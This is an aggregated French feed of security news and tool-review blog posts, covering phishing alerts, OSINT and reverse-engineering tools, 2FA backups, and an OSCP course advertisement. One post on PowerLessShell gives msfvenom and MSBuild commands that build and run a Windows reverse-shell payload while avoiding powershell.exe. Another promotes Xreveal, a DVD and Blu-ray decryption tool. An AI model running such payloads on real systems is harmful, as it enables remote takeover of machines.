Appels téléphoniques frauduleux Message WhatsApp venant d'Asie Email des impôts pour payer en Bitcoin ??? Nicole demande comment elle a pu se faire voler de l'argent en vendant sur un site de seconde main.

Les utilisateurs de Vinted sont ciblés par une nouvelle campagne de phishing. Via des e-mails frauduleux, les pirates se font passer pour la plateforme et tentent de collecter les informations bancaires des usagers. Ne vous faites pas avoir !

L’article Vinted : attention à cette nouvelle arnaque, des escrocs cherchent à vider votre compte est apparu en premier sur Toms Guide.

Le 3 juillet 2023, un retraité a eu la petite surprise de recevoir une amende pour avoir laissé la fenêtre passager de sa voiture ouverte. En Allemagne, sécuriser son véhicule à l'arrêt est obligatoire, selon l'article 38a du code de la route. Quid de la France, alors ?

L’article Il laisse sa fenêtre de voiture ouverte et se fait verbaliser par la police : la raison va vous surprendre est apparu en premier sur Toms Guide.

PowerLessShell est un outil incroyable pour les passionnés de PowerShell et de sécurité informatique. Qui aurait cru qu’on pouvait exécuter des scripts et des commandes PowerShell sans même lancer powershell.exe ? Et pour couronner le tout, il permet également d’exécuter du shellcode brut ! C’est de la sorcellerie !

La puissance de cet outil réside dans son utilisation de MSBuild.exe. La combinaison des deux permet d’obtenir un résultat vraiment cool pour les pro du Powershell. Certaines conditions peuvent être utilisées avec MSBuild pour empêcher l’exécution du code si elles ne sont pas remplies, ce qui ajoute une couche de sécurité.

La beauté de PowerLessShell, c’est qu’il utilise des arguments de ligne de commande pour générer le fichier final et il peut générer une charge utile PowerShell ou shellcode. C’est donc très utile également pour les pros en sécurité informatique.

Le concept est très bien expliqué avec des exemples concrets comme celui-ci :

$ python PowerLessShell.py -source shellcode64.raw -output malicious.csproj -arch 64
PowerLessShell Less is More
Mr.Un1k0d3r RingZer0 Team
-----------------------------------------------------------
Generating the msbuild file using include/template-shellcode.csproj as the template
Generating a payload for a 64 bits shellcode! Don't forget to use the 64 bits version of msbuild.exe
File 'malicious.csproj' created
Process completed

Le processus est assez simple et direct, même pour ceux qui n’ont pas beaucoup d’expérience avec PowerShell ou MSBuild.

Et ce n’est pas tout ! Un script nommé Cobalt Strike Aggressor (wmi_msbuild.cna) est également disponible avec des instructions pour la configuration et l’utilisation. Si vous n’avez jamais entendu parler de Cobalt Strike, c’est une plateforme de post-exploitation professionnelle de qualité militaire.

Le plus impressionnant, c’est que tout ceci a été mis au point par une seule personne : Mr.Un1k0d3r.

Alors, comment utiliser ce merveilleux outil en pratique ?

Voici un exemple d’utilisation de PowerLessShell pour générer un shellcode avec l’outil msfvenom de Metasploit et ensuite l’exécuter avec MSBuild :

msfvenom -a x64 --platform Windows -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=1234 -b '\\x00\\x0A\\x0D' -i 20 -f csharp

Ensuite, utilisez PowerLessShell pour injecter le shellcode dans un fichier MSBuild :

PowerLessShell.exe -s <shellcode> -w 20

Finalement, exécutez le fichier malveillant avec MSBuild :

MSBuild.exe malicious.csproj

Voilà, le tour est joué ! Il vous suffira d’écouter la connexion entrante shell_reverse_tcp sur votre serveur pour guetter la connexion du client malveillant et prendre le contrôle. C’est un exemple simple mais puissant de ce que PowerLessShell peut faire. Evidemment, c’est à manipuler avec éthique, dans un cadre de recherche ou lors d’une mission de sécurité informatique.

En conclusion, que vous soyez un professionnel de la sécurité informatique ou simplement quelqu’un qui aime bidouiller et apprendre, cet outil vous surprendra à coup sûr. N’hésitez pas à visiter le GitHub de PowerLessShell pour en savoir plus ici.

Aujourd’hui, je vous présente Xreveal, le petit génie dans la lampe qui va vous permettre de déchiffrer vos DVD et Blu-ray en arrière-plan, le tout en un rien de temps ! Mais avant de vous en dire plus, mettons les choses au clair : vous aurez besoin de clés de décryptage AACS/FUT BD+ pour faire fonctionner ce logiciel.

À première vue, Xreveal peut sembler un simple logiciel de déchiffrement de DVD/BD, mais détrompez-vous, il est bien plus que ça. Ce logiciel est le fruit d’un projet de recherche visant à faciliter l’interopérabilité et s’appuie exclusivement sur la spécification publique officielle AACS pour décoder les disques. En d’autres termes, Xreveal est un précieux allié pour les adeptes du Home Cinéma tels que vous et moi.

Grâce à Xreveal, fini les problèmes de lecture de DVD ou de Blu-ray protégés par un système de verrouillage. En effet, ce logiciel déchiffre la sécurité des DVD/BD à la volée, permettant ainsi à votre programme de lecture ou de copie de les lire sans aucune difficulté. C’est comme avoir son propre passe-partout pour accéder à tous ces films que vous adorez ! 🗝️

L’un des points forts de Xreveal réside dans sa simplicité d’utilisation. Une fois le logiciel installé, il fonctionne en arrière-plan sans même que vous vous en aperceviez. En parallèle, il vous donne la possibilité de lire ou de copier vos DVD/BD protégés en toute tranquillité.Maintenant que vous êtes convaincus de la puissance de Xreveal, voici un petit tutoriel pour vous aider à l’installer et à l’utiliser:

2. Installez Xreveal en suivant les instructions à l’écran.
4. Le logiciel est maintenant prêt à l’emploi ! Insérez un DVD ou Blu-ray protégé dans le lecteur de votre choix et Xreveal déchiffrera automatiquement le disque à la volée pour que vous puissiez le lire sans problème.

Et voilà, le tour est joué ! Vous pouvez désormais profiter de tous vos DVD et Blu-ray sans vous soucier des systèmes de protection. Alors oui, je sais, ça serait mieux avec la clé de déchiffrement, mais comme c’est illégal de la partager, bah c’est pas dans le soft.

En somme, si vous êtes à la recherche d’une solution simple et efficace pour décoder vos DVD et Blu-ray, ne cherchez pas plus loin. Xreveal est sans conteste l’outil qu’il vous faut. À noter que Xreveal n’a pas pour vocation de promouvoir le piratage. Il s’agit simplement d’un outil d’interopérabilité pour les passionnés de Home Cinéma.

À découvrir ici

Récemment, je suis tombé sur MetaOSINT, un projet créé par un ancien analyste et enquêteur OSINT qui en avait assez de chercher des ressources de manière plutôt brouillonne. Il a donc créé un agrégateur gratuit et ouvert regroupant la crème de la crème en matière d’outils et de ressources OSINT.

MetaOSINT est comme un couteau suisse pour les enquêteurs OSINT. Il répertorie et trie des milliers d’outils provenant de trois sources différentes, chaque source ayant un niveau de confiance et de biais potentiel qui lui est propre. Avec plus de 4000 ressources recensées, vous avez ainsi accès à un trésor d’informations et d’outils pour vous aider dans vos enquêtes en ligne.

En parcourant MetaOSINT, j’ai eu l’impression d’être un enfant dans un magasin de bonbons. Chaque outil semblait plus utile que le précédent. Le monde de l’OSINT peut être assez vaste et intimidant, surtout pour ceux qui débutent, mais MetaOSINT rend la tâche beaucoup plus accessible. C’est un peu comme un ami expérimenté qui vous prend par la main pour vous montrer les bons outils et les bonnes ressources. Grâce à ce site, vous serez en mesure de mener des enquêtes plus approfondies et de trouver des informations pertinentes plus rapidement.

Et si la compilation des meilleurs outils et ressources OSINT ne vous suffit pas, MetaOSINT invite également la communauté à contribuer au projet. Si vous avez un outil ou un site Web OSINT de qualité et qui n’est pas encore répertorié, vous pouvez soumettre ses infos via un formulaire dédié. Les connaissances collectives de la communauté OSINT peuvent certainement aider à faire ressortir de nouvelles pépites.

Bien sûr, avec un grand pouvoir vient une grande responsabilité. Comme disait le grand père de Spider-Man: « Un grand pouvoir implique de grandes responsabilités, et comme t’es pas Président de la République, tu devras rendre des comptes. »

Alors utilisez ces outils et ressources de manière responsable. Soyez éthique dans vos recherches et n’utilisez pas ces informations à mauvais escient. Souvenez-vous que l’objectif d’une enquête OSINT est de rester dans les limites légales et éthiques.

À découvrir ici: https://metaosint.github.io

Des pirates utilisent la technologie Android WebAPK pour inciter les utilisateurs à installer des applications malveillantes hors du Play Store. Soyez vigilants et évitez les liens suspects pour protéger vos appareils.

L’article Alerte Android : des hackers contournent le Play Store et forcent l’installation d’applications malveillantes est apparu en premier sur Toms Guide.

Sécurité, confidentialité, anonymat... Les VPN promettent beaucoup. Mais qu'en est-il en réalité ? 

Un VPN est-il la solution à tous mes problèmes de sécurité ?

Cyber News, votre actualité de la fraude en ligne et de la sécurité

sur internet.

Comme à chaque fois, je réponds à une question: Comment acheter en ligne en toute sécurité ?

Fraude: - Quand Europol vous appelle - Quand l'équipe anti-fraude de votre banque vous appelle https://www.youtube.com/watch?v=iISnocOuf8I&t=7s News: Sécurité pendant vos vacances https://safeonweb.be/en/news/safe-surfing-holiday-5-tips Q&A - Les mots de passe - Mots de passe épisode 01: https://www.youtube.com/watch?v=Vx8Tn6enmcw&t=165s - Mots de passe épisode 02 : https://www.youtube.com/watch?v=kqrFZSST_D4&t=150s - Mots de passe épisode 03 : https://www.youtube.com/watch?v=cxfuiQm4YLg&t=140s - L'identification à deux facteurs : https://www.youtube.com/watch?v=-5O2HVH42OI&t=132s - Passkey, un monde sans mots de passe : https://www.youtube.com/watch?v=rFQedBUHHZU&t=1s - Les clefs physiques de sécurité : https://www.youtube.com/watch?v=r1C36QUgQQw&t=79s

Relyze est un outil pour Windows vraiment cool qui permet de désassembler, décompiler et comparer des binaires de code natif.

J’ai commencé à regarder toutes les fonctionnalités de cet outil et j’ai vite compris que j’allais en faire un article sur mon site. Avec Relyze, il est possible de naviguer dans la structure des binaires pour comprendre comment ils sont composés. C’est un peu comme avoir une carte pour explorer un labyrinthe numérique, mais au lieu de chercher la sortie, on cherche les trucs intéressants planqués à l’intérieur.

Ce qui est génial avec Relyze, c’est qu’on peut également visualiser les données et ainsi enrichir votre analyse. Par exemple, il est possible de décompiler du code natif de bas niveau en un pseudo-code plus compréhensible pour les humains, ce qui permet de mieux comprendre le comportement du programme. Comme le disait ce bon vieux Einstein : « Si vous ne pouvez pas l’expliquer simplement, c’est que vous z’avez rien compris bande de noobs. » Ça n’a jamais été aussi vrai qu’avec Relyze.

Le fait de pouvoir visualiser les relations entre le code et les données avec des graphes interactifs de flux de contrôle, d’appels et de références permet de mieux comprendre les connexions présentes au sein des binaires que vous reversez.

Imaginez deux binaires, un peu comme deux empreintes digitales différentes. Avec Relyze, vous pouvez effectuer une analyse différentielle de ces binaires et explorer aussi bien leurs similitudes que leurs différences. C’est parfait pour analyser par exemples des correctifs de sécurité ou des variantes de logiciels malveillants.

Relyze prend en charge les formats de fichiers binaires Portable Executable (PE) et Executable and Linking Format (ELF), ainsi que les formats de symboles tels que PDB, COFF intégré, STAB, TDS et les fichiers MAP. Les architectures prises en charge comprennent x86, x64, ARM32 (ARMv7 incluant le mode Thumb) et ARM64 (AArch64).

Relyze permet également d’obtenir rapidement un aperçu du binaire en affichant notamment des informations sur le fichier, ses hashs associés, les fichiers inclus dedans, ainsi que les mitigations de sécurité disponibles, les graphes d’entropie et les certificats de sécurité intégrés.

L’interface de Relyze se veut moderne et épurée, mettant l’analyse au centre de l’attention. Tout est conçu pour être intuitif et efficace. Bref, un vrai outil tout en un pour l’analyse des binaires.

Vous pouvez même étendre les capacités du logiciel avec vos propres plugins en Ruby si ça vous amuse !

Bref, c’est un super outil bien complet pour l’analyse de binaires qui vous rappellera un peu Ghidra ou Hopper notamment de par toutes les fonctionnalités disponibles. Si vous faites du reverse engineering, je vous encourage vivement à l’essayer en cliquant ici.

Les fraudes en lignes avec Safeonweb.be

Les news sur la sécurité en ligne: 

• https://www.lesoir.be/521844/article/2023-06-26/quand-le-train-et-lautomobile-unissent-leur-cybersecurite
• https://www.cpme.fr/actualites/numerique/cybersecurite-le-rapport-pour-renforcer-la-protection-des-entreprises
• https://www.ege.fr/infoguerre/lia-au-service-de-la-cybersecurite-approches-usages-et-limites-dans-les-organisations

Vos questions: n’hésitez pas à les poser dans les commentaires sur YouTube (@lefraudeurlehackeretvous)

Vous avez toujours été fasciné par le monde mystérieux de la cryptographie ?

Et bien, aujourd’hui, je vous présente une plateforme en ligne gratuite et vraiment très fun qui va vous permettre de vous plonger dans cet univers captivant: CryptoHack !

Cette plateforme en ligne vous propose une série d’énigmes crypto et de défis pour apprendre la cryptographie moderne tout simplement en… la cassant. Hé oui !

Ainsi, en résolvant des défis, vous gagnerez des points ce qui vous fera monter dans le classement. Avant de commencer, vous devrez évidemment installer Python et pip ainsi que diverses libs qui vous seront demandés au fur et à mesure des challenges.

Les défis de CryptoHack couvrent divers sujets liés à la crypto et ceux-ci deviendront de plus en plus pointus au fur et à mesure de votre progression. Mais rassurez-vous, ce sera toujours bien expliqué dans les leçons (en anglais et très fun à faire. C’est comme un jeu finalement et en plus, c’est totalement gratuit.

À vous de jouer ! Et vous trouverez également d’autres ressources (dont root_me) pour vous exercer au Ethical Hacking en cliquant sur ce lien.

Ces petites clefs de sécurité physiques qui ressemblent à s’y méprendre à des clefs de stockage USB ont gagné en popularité ces dernières années. La raison ? Le nombre de piratages informatiques grandissant, les vols de données, de cryptomonnaies et j’en passe. 

Comment fonctionnent-elles ? Qui devrait les utiliser ? Sur quels comptes en ligne ?

Amis du partage de fichiers et de la sécurité, voici une application qui devrait vous plaire si vous voulez transmettre des documents perso sans les déposer sur un serveur qui ne vous appartient pas.

Cela s’appelle Rymdport (anciennement connu sous le nom de wormhole-gui), c’est un logiciel qui fonctionne sur tous les OS et qui permet de partager sans prise de tête des fichiers, dossiers et même du texte entre différents appareils comme les dignes pirates que vous êtes.

Tout ce que vous transmettez avec Rymdport est chiffré de bout en bout grâce au protocole magic-wormhole donc j’ai déjà parlé ici et cerise sur le gâteau, Rymdport est compatible avec d’autres clients wormhole. Chouette non ?

Rymdport est basé sur wormhole-william, une implémentation native en Go de magic-wormhole. Du coup, il se compile en un binaire natif sans dépendances et offre des performances supérieures à celles de magic-wormhole.

Pour télécharger Wormhole, rendez-vous sur la page des releases. Vous y trouverez des versions pour Windows macOS, Linux et même FreeBSD. Et pour les utilisateurs de Linux, Rymdport est également disponible en tant que Flatpak sur Flathub.

Notez que les les binaires proposé pour macOS ne sont pas signés avec un certificat Apple officiel. Pour résoudre le problème, il vous faudra virer l’attribut de quarantaine de l’application avec la commande suivante :

xattr -r -d com.apple.quarantine CHEMIN_VERS_RYMDPORT.APP

Vous pouvez également le compiler puisque toutes les instructions sont sur la page GitHub.

Cette semaine, tout le monde était super jouasse puisque Google Authenticator s’est vu ajouter une fonction permettant de sauvegarder les données 2FA dans le cloud Google et ainsi, en faciliter la restauration qu’on soit sous Android ou iOS.

Alors oui, ça semble super cool surtout pour ceux qui ont peur de perdre leurs données ou qui ont déjà perdu un smartphone. Mais ATTENTION !

Cette nouvelle option soulève pas mal de préoccupations en matière de confidentialité. D’après les chercheurs en sécurité de Mysk, il semblerait que les données ne soient pas chiffrées de bout en bout. Ainsi, Google pourrait voir et stocker les « secrets » (seed 2FA) sur ses serveurs, sans rien pour sécuriser ces informations.

C’est hyper inquiétant, car chaque code QR 2FA contient un secret qui est utilisé pour générer ces codes 2FA à usage unique. Si quelqu’un de mal intentionné obtient ce secret, il peut très facilement contourner la protection 2FA.

Le drame illustré en 3 actes :

Et même si je ne doute pas de la sécurité des serveurs chez Google, on sait tous que même les entreprises les plus préparées subissent parfois des fuites de données.

D’ailleurs, dans ce backup en route vers le cloud Google, on trouve également d’autres informations, telles que le nom du compte et le nom du service. Comme Google peut y accéder en clair, ils savent donc exactement quels services en ligne vous utilisez. Go la pub personnalisée !!

Et si vous demandez à Google un export de vos données personnelles, vous ne trouverez pas de trace de ces fameux secrets 2FA. Bref, j’ai l’impression qu’il sont tombés derrière l’armoire.

Les chercheurs conseillent donc de désactiver cette fonctionnalité de synchronisation jusqu’à ce que le chiffrement de bout en bout soit effectif (avec phrase de passe donc…)

Bref, maintenant vous savez. Une personne azerty en vaut deux… (roh roh roh)

Source.

Il y a quelque temps, j’ai découvert une étude intéressante réalisée par des chercheurs de l’Université du Québec sur la sécurité du code généré par ChatGPT, le modèle de langage développé par OpenAI. Vous vous demandez peut-être ce qu’ils ont trouvé ? Eh bien, accrochez-vous, car les résultats sont surprenants !

Les chercheurs ont demandé à ChatGPT de générer 21 programmes et scripts dans différents langages, et seuls cinq d’entre eux étaient sécurisés dès la première tentative. Après avoir insisté pour que ChatGPT corrige ses propres erreurs, ils ont réussi à obtenir sept codes sécurisés de plus.

Une partie du problème semble provenir du fait que ChatGPT ne prend pas en compte un modèle d’exécution de code de type « adversarial« . En d’autres termes, il ne considère pas que le code qu’il génère pourrait être utilisé à des fins malveillantes. De plus, ChatGPT refuse de créer un code offensif, mais créera volontiers un code vulnérable, ce que les auteurs considèrent comme une incohérence éthique.

Les chercheurs ont également constaté qu’une des « réponses » de ChatGPT comme solution miracle aux préoccupations de sécurité était d’avoir uniquement des entrées valides, ce qui n’est pas vraiment réaliste dans le monde réel. De plus, le modèle ne fournit jamais de conseils utiles pour renforcer la sécurité d’un code, sauf si on lui demande précisemment de remédier aux problèmes. Et pour lui demander ça, il faut savoir quelles demandes lui formuler exactement, ce qui veut dire que vous devez vous-même être familier du langage et des vulnérabilités, par avance.

En conclusion de leur étude, les chercheurs pensent que ChatGPT, sous sa forme actuelle, représente un risque et que l’IA est victime du syndrome de Dunning Krüger. Les étudiants et les développeurs doivent être parfaitement conscients que le code généré avec ce type d’outil peut être non sécurisé. De plus, le comportement du modèle est imprévisible, car il peut générer un code sécurisé dans un langage et un code vulnérable dans un autre.

Bref, si vous utilisez ChatGPT ou un autre outil similaire (Github Copilot…etc) pour générer du code, gardez à l’esprit qu’il ne faut pas prendre pour argent comptant que le code fourni est sécurisé. Soyez vigilant et assurez-vous de vérifier et de tester le code pour détecter les éventuelles vulnérabilités. Et n’oubliez pas, comme dit Gaston Lagaffe : « La sécurité avant tout ! »

Source

Le phishing est un fléau dans le monde entier. Le nombre de messages frauduleux et leur variété ne cesse d'augmenter.

Sauf qu'il y a un truc qui marche à chaque fois pour détecter une message frauduleux. Une seule règle à connaitre pour les repérer tous: regarder où le lien nous mène.

Je vous explique (en vidéo) ce qu'il faut savoir et comment l'utiliser.

Si vous écoutez cet épisode de notre podcast en audio, sachez qu'il est disponible en vidéo sur Spotify et sur Youtube (https://youtu.be/p1ZdsWDFnJQ)

A partager sans modération.

— Article en partenariat avec Ambient IT —

Aujourd’hui les amis, on va parler cybersécurité avec notamment la fameuse certification OSCP dont vous avez peut-être déjà entendu parler.

OSCP, qui signifie Offensive Security Certified Professional, est une certification, créé par Offsec, très réputée dans le milieu cyber puisqu’elle permet à tous ceux qui l’obtiennent d’attester qu’ils ont les compétences professionnelles nécessaires pour exercer en cybersécurité notamment en pentesting. OSCP couvre un large panel de thématiques, allant des bases du réseau TCP/IP, à l’administration Windows, aux langages comme Bash / Python ou encore la bonne compréhension du fonctionnement d’Active Directory etc.

Pour rappel, Offsec (Offensive Security) est également la société à l’origine de la distribution Kali Linux dont je parle régulièrement ici.

Si vous obtenez cette certification de haut niveau, vos compétences en pentesting ne seront plus à prouver et votre profil sera immédiatement valorisé dans le monde entier. Même chose si vous êtes chef d’entreprise, DSI, responsable sécurité et que vous souhaitez développer ces compétences parmi vos équipes.

Mais attention, la certification OSCP n’est pas qu’un simple QCM à passer. Il s’agit d’une certification d’assez haut niveau avec une approche par la pratique en conditions réelles ce qui permet aux participants d’explorer les outils, les techniques et les environnements qui leur permettront de renforcer leurs compétences et leur apprentissage.

Bref, faut bosser et investir du temps, et tout ça en parfaite autonomie, car tout se fait à distance depuis chez vous ou au boulot. Voici en détail comment ça se passe. D’ailleurs, si ça vous branche, il y a Cyril de Clever Age qui l’a passé et a fait son retour d’expérience ici.

Enfin, quand vous serez prêts pour le jour de l’examen, vous devrez hacker un maximum de machines à dispo pour la certification, collecter des informations, créer des scripts, exploiter des vulnérabilités, résoudre des problèmes de manière la plus créative possible… Tout ça sur une durée limitée de 23h45, en étant armé simplement de vos connaissances et d’une machine Kali Linux. Et vous devrez par la suite produire un rapport d’audit et l’envoyer à Offsec pour valider votre travail.

Pour vous aider à réussir, il y a des guides de préparation qui existent comme celui-ci, mais il y a surtout la formation d’Ambient IT qui va vous aider à réussir cette certification OSCP en vous accompagnant pendant plusieurs jours afin de préparer l’examen.

Ambient IT est reconnu pour son expertise et son expérience dans le domaine de la cybersécurité et de la formation. Les formateurs qui dispensent les cours sont également certifiés OSCP et ont une solide expérience pratique en pentesting. Leur programme de formation est très complet et très bien structuré afin que vous puissiez mettre toutes les chances de votre côté pour le jour de l’examen.

En prérequis, évidemment, vous devrez avoir un petit niveau en bash / python, bien vous y connaitre en réseau TCP/IP, savoir administrer une machine Linux et Windows.

Ensuite, chaque lundi matin de 9h à 12h30, et ce pendant 8 semaines, Ambient IT vous formera et vous coachera pour l’examen OSCP. Au total, vous aurez plus de 28 heures de cours en Français étalés sur 8 semaines, avec des exercices et des choses à réviser pendant la semaine.

Prochaine session : Le 11 septembre 2023 !

Puis une fois les concepts et les techniques bien assimilés, vous pourrez effectuer un passage à l’examen OSCP.

En plus de ce que propose Ambient IT, vous aurez également accès aux contenus et services proposés par Offsec, à savoir plusieurs heures de formations en vidéo, un livret PDF, un accès au forum pour que les apprenants puissent poser leurs questions et bien sûr un accès illimité durant toute la formation, au lab, c’est-à-dire à des machines sur lesquelles vous allez pouvoir vous entrainer.

Et comme Ambient IT travaille officiellement avec Offsec, vous aurez également accès à tout le contenu officiel proposé par Offsec pour passer la certif.

Cette formation est disponible aussi bien pour les entreprises (4500 € HT) que pour les personnes qui souhaitent utiliser leur CPF au tarif de 5400 € TTC. Ce tarif inclut évidemment le prix du passage de la certification OSCP.

Notez que si vous vous inscrivez à une session en 2023, Ambient IT vous proposera 400 € de réduction pour toute inscription si vous mentionnez « Korben » au moment où ils vous appelleront (Offre soumise à condition d’achat et non cumulable avec d’autres promotions ou réductions en cours).

Monter son business, trouver des clients, mettre en place sa stratégie digitale, cela prend du temps. Mais il ne faut que quelques secondes pour que tout bascule. Dans cet épisode, je vous propose 3 conseils simples pour mettre votre business loin du regard des cybercriminels. Car ils regardent partout à la recherche de la proie facile. Vous pouvez en une seule soirée, cachez votre business. Simplement, sans connaissances particulières. Je vous explique comment et aussi pourquoi.

www.haveibeenpwnd.com

www.av-test.org

Si vous utilisez Authy, l’application de génération de codes 2FA, vous avez peut-être remarqué qu’on ne pouvait pas forcement exporter les datas et migrer tout ça vers un autre logiciel 2FA.

La bonne pratique en général, c’est de conserver le code TOTP ou le QR Code associé pour pouvoir par la suite l’importer dans une autre application. Mais la réalité c’est que peu de monde le fait.

On scanne le QR Code et basta, jamais on le sauvegarde. Sauf que le jour où on perd son téléphone, c’est la cata. Avec Authy, y’a un backup sur leurs serveurs, mais pas de possibilité de migration.

Mais j’ai une solution pour vous. Cela s’appelle Authy Export et c’est un logiciel développé en Python qui vous rappellera les anciens cracks des années 90 et qui vous permettra d’exporter l’ensemble de vos codes OTP dans un fichier HTML avec tout ce qu’il faut (URL + QRCode) pour pouvoir à nouveau les scanner.

Pour faire fonctionner Authy Export, vous aurez besoin de la version Desktop d’Authy synchronisé avec votre compte et non verrouillée par un mot de passe. Cliquez ensuite sur le bouton « Click to export TOTP » du logiciel et patientez quelques instants que l’export se fasse.

Évidemment, faites bien attention ensuite de conserver ce fichier dans un endroit sûr (chiffré de préférence) pour éviter que quelqu’un ne mette la main dessus.

Voilà, j’espère que ce petit outil de ma confection vous sera utile 🙂

Les avancées récentes dans le domaine des intelligences artificielles ouvrent des portes au niveau de la protection des entreprises et certainement de ceux pour qui le mise en place des cyber défenses est le plus difficile, les petites et moyennes entreprises. 

Dominique Moraux (coach en stratégie digitale pour les entreprises) - www.dynamconsult.be